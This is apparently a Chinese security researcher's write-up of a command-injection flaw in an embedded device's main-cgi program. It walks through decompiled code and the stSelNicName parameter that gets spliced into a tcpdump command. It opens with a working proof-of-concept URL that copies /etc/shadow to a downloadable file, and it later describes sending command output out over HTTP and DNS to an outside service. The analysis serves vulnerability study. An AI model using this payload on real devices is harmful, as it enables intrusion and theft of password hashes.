添加链接
link管理
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接

1. 漏洞复现

PoC :

1
2
3
4
5
[Get /etc/shadow]
http://IP:PORT/cgi-bin/main-cgi?json={"cmd":264,"status":1,"bSelectAllPort":1,"stSelPort":0,"bSelectAllIp":1,"stSelIp":0,"stSelNicName":";cp%20/etc/shadow%20/tmp/packetcapture.pcap;"}

[get the result]
http://IP:PORT/cgi-bin/main-cgi?json={"cmd":265,"szUserName":"","u32UserLoginHandle":-1}

执行命令,将 /etc/shadow 文件复制到 /tmp/packetcapture.pcap

获得 /etc/shadow 的内容。

2. 漏洞详细分析

对于该漏洞,我决定先利用 POC 去寻找漏洞点,然后逆着分析参数传递过程,来分析漏洞原理。

2.1 根据POC寻找漏洞点

根据 POC 来分析一下漏洞。

很明显, POC stSelNicName 这个参数传入了所执行的命令,使用IDA打开关键程序 main-cgi ,搜索字符串 stSelNicName

进而找出存在该字符串的函数, sub_2248C()
为了方便阅读,根据函数实现的功能,将函数名修改为 startTcpDump

可以看到在该函数的后面,进行了命令的拼接,由此猜测,应该是前面没有做好对传入的参数进行过滤,进行拼接后就使用 system() 执行了代码。

这里应该就是漏洞点了,接下来往上找一下调用,分析一下传参,来验证自己的猜想。

2.2 参数传递过程分析

首先往上查找调用 startTcpDump() 的函数。
找到 sub_477FC()

再往上,就到了 CGI 请求开始处理的地方 sub_4E2A4()

7
可以看到,程序在第 8 行获得了传入的请求数据 v0 ,经过处理后传入关键函数 sub_477FC() 中。

跟进函数 getRequestValue()(也就是sub_164D0)

可以看到,当请求方法为 GET 时,该函数会获得并返回经过 URL 编码之后的数据,而且程序不支持 POST 请求。

也就是说在 dealWithCGIRequest() 函数中,第 13 v2 = sub_477FC(v1); 传入的 v1 是一个字符串。
对于 POC 来说,就是

1
json={"cmd":264,"status":1,"bSelectAllPort":1,"stSelPort":0,"bSelectAllIp":1,"stSelIp":0,"stSelNicName":";cp%20/etc/shadow%20/tmp/packetcapture.pcap;"}

然后进入函数 sub_477FC() ,可以看到在第 237 - 269 ,对传入的字符串进行了处理。

从处理流程来看,使用 = & 对字符串进行分割,获取 key value ,存储在 v5 中。
counter 中存储了传入的键值对的数目。

v5 的数据结构:

1
key \0 value \0 key \0 value \0 ....

接下来函数对处理后的字符串进行遍历,处理请求。

首先对 Value 值进行 url 解码。

然后继续往下:

对于代码中的 v11 来说,它就是经过 urldecode 之后的 v5
也就是 *v11 == "key" *(v11+32) == "value"
然后根据传入的 key 来决定处理方式,在 POC 中我们传入了一个 json 数据。

此时 343 if 条件成立,在 347 行,将 value 值传入函数 sub_4E204() ,对 json 字符串进行解析,返回一个存储了 json 的数据结构。
然后 351 行获得 cmd 的值,然后根据该值,使用 switch 来决定如何进行处理后续请求。

跟进 347 v23 = sub_4E204((v11 + 32)); ,分析一下 json 的数据结构。
在这里我只是大致分析了下,动态调试环境弄不好,只能静态分析,后面还涉及到递归,有点困难。

往下走两步,跟进到 sub_4E164(a1, 0, 0); ,其中 a1 就是传入的 value 值。
后面的分析过程太过于繁琐,而且并没有分析出有关数据的过滤的函数,就说一下我分析的 json 的数据结构吧。

json 中有六种数据,分别是数字(整数或者浮点数)、字符串、逻辑值 ( true false )、数组、对象、 null

在该程序中,是通过调用 getFortySpace() ( 也就是sub_4CA70 )来分配空间的,

根据整个流程调用来判断,存储 json 中键值对的数据结构如下

1
2
3
4
5
6
7
8
9
10
result[0] = 0; //指向下一个对象
result[1] = 0; //指向上一个对象
result[2] = 0; //指向嵌套的数组或者对象
result[3] = 0; //种类 0 == false、1 == true、2 == null、3 == 数字、4 == 字符串、5 == 数组、6 == 对象
result[4] = 0; //字符串
result[5] = 0; //整数
result[6] = 0;
result[7] = 0;
result[8] = 0; //当前键值对的key值
result[9] = 0;

猜测使用了 cjson 这个库。

在解析 json 的流程中,只是调用了 leftStrip() (也就是 sub_4C788 ),来保证所有字符串都以可见字符开头。

在获取双引号之间的值时处理 unicode 编码,没有其他的针对性的过滤手段。

然后回到函数 sub_477FC()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
v23 = sub_4E204((v11 + 32));              // 推测该方法用来解析json字符串
v24 = v23;
if ( !v23 )
formatStr("cgi_common.c", 2284, "CGI_COMMON_ProcessData", "json_Req is :\"NULL\".");
dest = getValueByKey(v24, "cmd")[5];
formatStr("cgi_common.c", 2289, "CGI_COMMON_ProcessData", "Begin to process transcat.");
v25 = sub_4CAC4(); // 获得一个result[3] == 6的空间
formatStr("cgi_common.c", 2293, "CGI_COMMON_ProcessData", "Web id = %d", dest);
switch ( dest )s
{
...
case 264u:
v22 = startTcpDump(v24);//命令执行的关键函数。
break;
...

到现在,传入的 json 数据已经进入前面我们之前猜测的漏洞点了。

2.3 漏洞点详细分析

重新回到函数 startTcpDump(int a1) 中。

25 行到 51 行程序对系统状态进行判断。

根据上面的条件,我们必须传入 bSelectAllPort bSelectAllIP stSelIp stSelPort stSelNicName 这五个值。

在后面可以看到,四个不同条件下的命令执行语句都拼接了 stSelNicName 字符串。

每个都分析下。

1
2
bSelectAllIp[5] == 0
bSelectAllPort[5] == 0
1
2
bSelectAllIp[5] == 0
bSelectAllPort[5] == 1
1
2
bSelectAllIp[5] == 1
bSelectAllPort[5] == 0
1
2
bSelectAllIp[5] == 1
bSelectAllPort[5] == 1

可以知道,在传入的参数中, bSelectAllIp bSelectAllPort 只要都存在并且值是 0 或者 1 。就能够将 stSelNicName 的值拼接到执行的命令中。

在这命令中,

1
tcpdump -i %s -p -nn ....

其中 %s 的值可控,于是我们可以使用分号来截断命令。
比如传入 ;id; ,则此时执行的命令为 tcpdump -i ;id; -p -nn …. ,命令 id 成功执行。
就这样实现命令注入,造成远程代码执行。

从总体来看,该漏洞产生的最主要的原因就是,程序没有对传入的参数进行过滤,然后直接将其拼接到了命令中,造成了远程命令执行。

3. 漏洞攻击利用思路

这是一个无回显的远程命令执行漏洞,不过既然能够执行命令了,就有很多利用方式了。

3.1 利用程序本身的功能

在该程序中提供了下载数据包的功能,文件路径为 /tmp/packetcapture.pcap ,我们可以执行命令,将输出重定向到该文件中,然后利用程序自身功能来下载到结果。
如果在 Web 目录中有权限,也可以直接将结果输出到 Web 目录下,然后下载得到结果。

3.2 使用HTTP请求和DNS解析外带数据

如果目标主机可以连通外网,可以让目标主机向外网的一个自己可控的Web服务器发出携带数据的 HTTP 请求,从而将获得命令执行的结果。
也可以使目标主机解析携带有数据的二级域名,然后查询 DNS 解析记录。

我们可以使用 ceye.io 这个平台来达到目的。

使用 curl 向平台发起HTTP请求获取命令执行的结果。

成功获取执行命令的内容。

使用 DNS 请求获取数据

成功获取执行命令的内容

需要注意的是,在外带数据的时候应该要对数据 base64 编码一下,或者其他编码也可以,防止特殊字符对命令的执行过程产生影响。我这个树莓派上没有 base64 ,在这就不演示了。

3.3 一点发现

在漏洞分析过程中,发现该漏洞是有回显的,执行的命令会在请求头里出现。
只要执行的命令存在标准输出,即使用 echo ,而且输出内容中存在 : ,即可在响应头中获得命令执行的结果。

但是在分析漏洞点中没有发现获取命令结果的地方。
我认为应该是 CGI 程序将标准输出重定向到 Web 服务器上,内容中有 : ,符合响应头的标准,将内容成功输出。
从而获取到命令执行的结果。